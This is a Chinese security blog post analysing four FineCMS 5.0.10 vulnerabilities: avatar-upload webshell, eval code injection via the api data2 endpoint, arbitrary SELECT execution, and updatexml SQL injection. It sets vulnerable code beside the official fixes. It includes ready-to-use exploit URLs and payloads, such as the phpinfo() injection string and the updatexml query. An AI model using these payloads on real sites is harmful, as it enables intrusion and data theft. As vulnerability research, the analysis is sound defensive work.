0x01 前言

已经一个月没有写文章了,最近发生了很多事情,之前的每日一洞、每周一洞,到现在的每月一洞了。感觉去审计多了就好比如去刷题,但是我觉得应该做一个系统化的学习. 今天的这个CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,从修补漏洞前和修补后的两方面去分析。

0x02 环境搭建

https://www.ichunqiu.com/vm/59011/1 可以去I春秋的实验,不用自己搭建那么麻烦了。

0x03 任意文件上传漏洞

1.漏洞复现

用十六进制编辑器写一个有一句话的图片 去网站注册一个账号,然后到上传头像的地方。 抓包,把jepg的改成php发包。 可以看到文件已经上传到到/uploadfile/member/用户ID/0x0.php

2.漏洞分析

文件:finecms/dayrui/controllers/member/Account.php 177~244行

/**
 *  上传头像处理
 *  传入头像压缩包,解压到指定文件夹后删除非图片文件
 */
public function upload() {

    // 创建图片存储文件夹
    $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    @dr_dir_delete($dir);
    !is_dir($dir) && dr_mkdirs($dir);

    if ($_POST['tx']) {
        $file = str_replace(' ', '+', $_POST['tx']);
        if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            $new_file = $dir.'0x0.'.$result[2];
            if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                exit(dr_json(0, '目录权限不足或磁盘已满'));
            } else {
                $this->load->library('image_lib');
                $config['create_thumb'] = TRUE;
                $config['thumb_marker'] = '';
                $config['maintain_ratio'] = FALSE;
                $config['source_image'] = $new_file;
                foreach (array(30, 45, 90, 180) as $a) {
                    $config['width'] = $config['height'] = $a;
                    $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                    $this->image_lib->initialize($config);
                    if (!$this->image_lib->resize()) {
                        exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                        break;
                    }
                }
                list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                !$type && exit(dr_json(0, '图片字符串不规范'));
            }
        } else {

            exit(dr_json(0, '图片字符串不规范'));
        }
    } else {
        exit(dr_json(0, '图片不存在'));
    }

// 上传图片到服务器
    if (defined('UCSSO_API')) {
        $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
        !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
    }


    exit('1');
}

这个我记得在5.0.8的版本有讲过这个代码的漏洞执行https://getpass.cn/2018/01/30/The%20latest%20version%20of%20FineCMS%205.0.8%20getshell%20daily%20two%20holes/

后来官方修复的方案是加上了白名单了:

                if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
                    exit(dr_json(0, '目录权限不足'));
                }
                ...
                 $c = 0;
                    if ($fp = @opendir($dir)) {
                        while (FALSE !== ($file = readdir($fp))) {
                            $ext = substr(strrchr($file, '.'), 1);
                            if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
                                if (copy($dir.$file, $my.$file)) {
                                    $c++;
                                }
                            }
                        }
                        closedir($fp);
                    }
                    if (!$c) {
                        exit(dr_json(0,  fc_lang('未找到目录中的图片')));
                    }

0x04 任意代码执行漏洞

1.漏洞复现

auth下面的分析的时候会说到怎么获取

浏览器输入: http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df&param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271

2.漏洞分析

这个漏洞的文件在/finecms/dayrui/controllers/Api.phpdata2()

public function data2() {
        $data = array();

        // 安全码认证
        $auth = $this->input->get('auth', true);
        if ($auth != md5(SYS_KEY)) {
            // 授权认证码不正确
            $data = array('msg' => '授权认证码不正确', 'code' => 0);
        } else {
            // 解析数据
            $cache = '';
            $param = $this->input->get('param');
            if (isset($param['cache']) && $param['cache']) {
                $cache = md5(dr_array2string($param));
                $data = $this->get_cache_data($cache);
            }
            if (!$data) {

                // list数据查询
                $data = $this->template->list_tag($param);
                $data['code'] = $data['error'] ? 0 : 1;
                unset($data['sql'], $data['pages']);

                // 缓存数据
                $cache && $this->set_cache_data($cache, $data, $param['cache']);
            }
        }

        // 接收参数
        $format = $this->input->get('format');
        $function = $this->input->get('function');
        if ($function) {
            if (!function_exists($function)) {
                $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
            } else {
                $data = $function($data);
            }
        }

        // 页面输出
        if ($format == 'php') {
            print_r($data);
        } elseif ($format == 'jsonp') {
            // 自定义返回名称
            echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
        } else {
            // 自定义返回名称
            echo $this->callback_json($data);
        }
        exit;

	}

可以看到开头这里验证了认证码:

// 安全码认证
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
        // 授权认证码不正确
        $data = array('msg' => '授权认证码不正确', 'code' => 0);
    } else {

授权码在/config/system.php 可以看到SYS_KEY是固定的,我们可以在Cookies找到,/finecms/dayrui/config/config.php 用浏览器查看Cookies可以看到KEY,但是验证用MD5,我们先把KEY加密就行了。

直接看到这一段,调用了Template对象里面的list_tag函数

if (!$data) {

                // list数据查询
                $data = $this->template->list_tag($param);
                $data['code'] = $data['error'] ? 0 : 1;
                unset($data['sql'], $data['pages']);

                // 缓存数据
                $cache && $this->set_cache_data($cache, $data, $param['cache']);
            }

我们到finecms/dayrui/libraries/Template.phplist_tag函数的代码,代码有点长,我抓重点的地方,这里把param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271的内容分为两个数组$var$val,这两个数组的内容分别为

$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']

$cache=_cache_var是返回会员的信息 重点的是下面的 @eval('$data=$cache'.$this->_get_var($_param).';');

foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);

再看这一段,因为swtich选中的是cache,所有就不再进行下面的分析了。 $pos = strpos($param['name'], '.');这句是为下面的substr函数做准备。 是为了分离出的内容为

$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
 // action
        switch ($system['action']) {

            case 'cache': // 系统缓存数据
                if (!isset($param['name'])) {
                    return $this->_return($system['return'], 'name参数不存在');
                }

                $pos = strpos($param['name'], '.');
                if ($pos !== FALSE) {
                    $_name = substr($param['name'], 0, $pos);
                    $_param = substr($param['name'], $pos + 1);
                } else {
                    $_name = $param['name'];
                    $_param = NULL;
                }
                $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
                if (!$cache) {
                    return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
                }
                if ($_param) {
                    $data = array();
                    @eval('$data=$cache'.$this->_get_var($_param).';');
                    if (!$data) {
                        return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
                    }
                } else {
                    $data = $cache;
                }

                return $this->_return($system['return'], $data, '');
                break;

跟踪get_var函数,在这里我们先把$param的内容假设为a,然后执行函数里面的内容,最后返回的$string的内容是: $string=['a'] 那么我们的思路就是把两边的[’ ‘]闭合然后再放上恶意的代码。 payload为:1'];phpinfo();$a=['1 那么返回的$string的内容: $string=['1'];phpinfo();$a=['1']

public function _get_var($param) {
        $array = explode('.', $param);
        if (!$array) {
            return '';
        }
        $string = '';
        foreach ($array as $var) {
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }

        return $string;
    }

修复后的_get_var函数里面多了一个dr_safe_replace过滤函数,然后data2()删除了。

 public function _get_var($param) {

        $array = explode('.', $param);
        if (!$array) {
            return '';
        }
        $string = '';
        foreach ($array as $var) {
            $var = dr_safe_replace($var);
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }

        return $string;
    }

dr_safe_replace()

function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '&lt;', $string);
    $string = str_replace('>', '&gt;', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
}

0x05 任意SQL语句执行1

1.漏洞复现

浏览器:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df&param=action=sql%20sql=%27select%20version();%27

2.漏洞分析

这里就不用debug模式去跟进了,有不懂CI框架的数据库操作可以去看官方文档http://codeigniter.org.cn/user_guide/database/index.html

问题一样出在finecms/dayrui/controllers/Api.php中的data2(),可以直接去看finecms/dayrui/libraries/Template.php里面的list_tag()函数

  case 'sql': // 直接sql查询

                if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) {


                    // 数据源的选择
                    $db = $this->ci->db;

                    // 替换前缀
                    $sql = str_replace(
                        array('@#S', '@#'),
                        array($db->dbprefix.$system['site'], $db->dbprefix),
                        trim(urldecode($sql[1]))
                    );
                    if (stripos($sql, 'SELECT') !== 0) {
                        return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');
                    }

                    $total = 0;
                    $pages = '';

                    // 如存在分页条件才进行分页查询
                    if ($system['page'] && $system['urlrule']) {
                        $page = max(1, (int)$_GET['page']);
                        $row = $this->_query(preg_replace('/select \* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);
                        $total = (int)$row['c'];
                        $pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
                        // 没有数据时返回空
                        if (!$total) {
                            return $this->_return($system['return'], '没有查询到内容', $sql, 0);
                        }
                        $sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
                        $pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);
                    }

                    $data = $this->_query($sql, $system['site'], $system['cache']);
                    $fields = NULL;

                    if ($system['module']) {
                        $fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段
                    }

                    if ($fields) {
                        // 缓存查询结果
                        $name = 'list-action-sql-'.md5($sql);
                        $cache = $this->ci->get_cache_data($name);
                        if (!$cache && is_array($data)) {
                            // 模型表的系统字段
                            $fields['inputtime'] = array('fieldtype' => 'Date');
                            $fields['updatetime'] = array('fieldtype' => 'Date');
                            // 格式化显示自定义字段内容
                            foreach ($data as $i => $t) {
                                $data[$i] = $this->ci->field_format_value($fields, $t, 1);
                            }
                            //$cache = $this->ci->set_cache_data($name, $data, $system['cache']);
                            $cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;
                        }
                        $data = $cache;
                    }
                    return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);
                } else {
                    return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容
                }
                break;

这里想说一下就是preg_match这个函数的作用,他匹配过后sql是一个数组:

array(2) {
  [0]=>
  string(23) "sql='select version();'"
  [1]=>
  string(17) "select version();"
}

这里判断了开头的位置是否只使用了select

 if (stripos($sql, 'SELECT') !== 0) {
                        return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');

再往下看,这一句才是执行SQL的地方,传入sql内容和$system['site']默认是1,$system['cache'] 默认缓存时间是3600

 $data = $this->_query($sql, $system['site'], $system['cache']);

继续跟进_query()函数

public function _query($sql, $site, $cache, $all = TRUE) {
        echo $this->ci->site[$site];
        // 数据库对象
        $db = $site ? $this->ci->site[$site] : $this->ci->db;
        $cname = md5($sql.dr_now_url());
        // 缓存存在时读取缓存文件
        if ($cache && $data = $this->ci->get_cache_data($cname)) {
            return $data;
        }

        // 执行SQL
        $db->db_debug = FALSE;
        $query = $db->query($sql);

        if (!$query) {
            return 'SQL查询解析不正确:'.$sql;
        }

        // 查询结果
        $data = $all ? $query->result_array() : $query->row_array();

        // 开启缓存时,重新存储缓存数据
        $cache && $this->ci->set_cache_data($cname, $data, $cache);

        $db->db_debug = TRUE;
        
        return $data;
    }

没有对函数进行任何过滤 $query = $db->query($sql);,直接带入了我们的语句。

官方的修复方法:删除了data2()函数

0x06 任意SQL语句执行2

1.漏洞复现

浏览器:

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user()),0x7e),1)))a

2. 漏洞分析

文件在finecms/dayrui/controllers/member/Api.phpchecktitle()函数

    public function checktitle() {

        $id = (int)$this->input->get('id');
        $title = $this->input->get('title', TRUE);
        $module = $this->input->get('module');
        
        (!$title || !$module) && exit('');

        $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
        echo $num;
        $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
    }

其他的没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results,可以到http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 查看用法

还有一个就是SITE_ID变量,它是指

站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理

剩下也没什么可分析了,不懂updatexml语句可以看下面的参考链接

0x07 结束

还有一个远程命令执行漏洞没能复现,是在api的html()函数,说是可以用&来突破,但是eval只能用;来结束语句的结束。

function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '&quot;', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '&lt;', $string);
    $string = str_replace('>', '&gt;', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
}

0x08 参考

https://www.t00ls.net/thread-41630-1-1.html

https://www.t00ls.net/viewthread.php?tid=44262

http://lu4n.com/finecms-rce-0day/

https://blog.csdn.net/vspiders/article/details/77430024

http://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html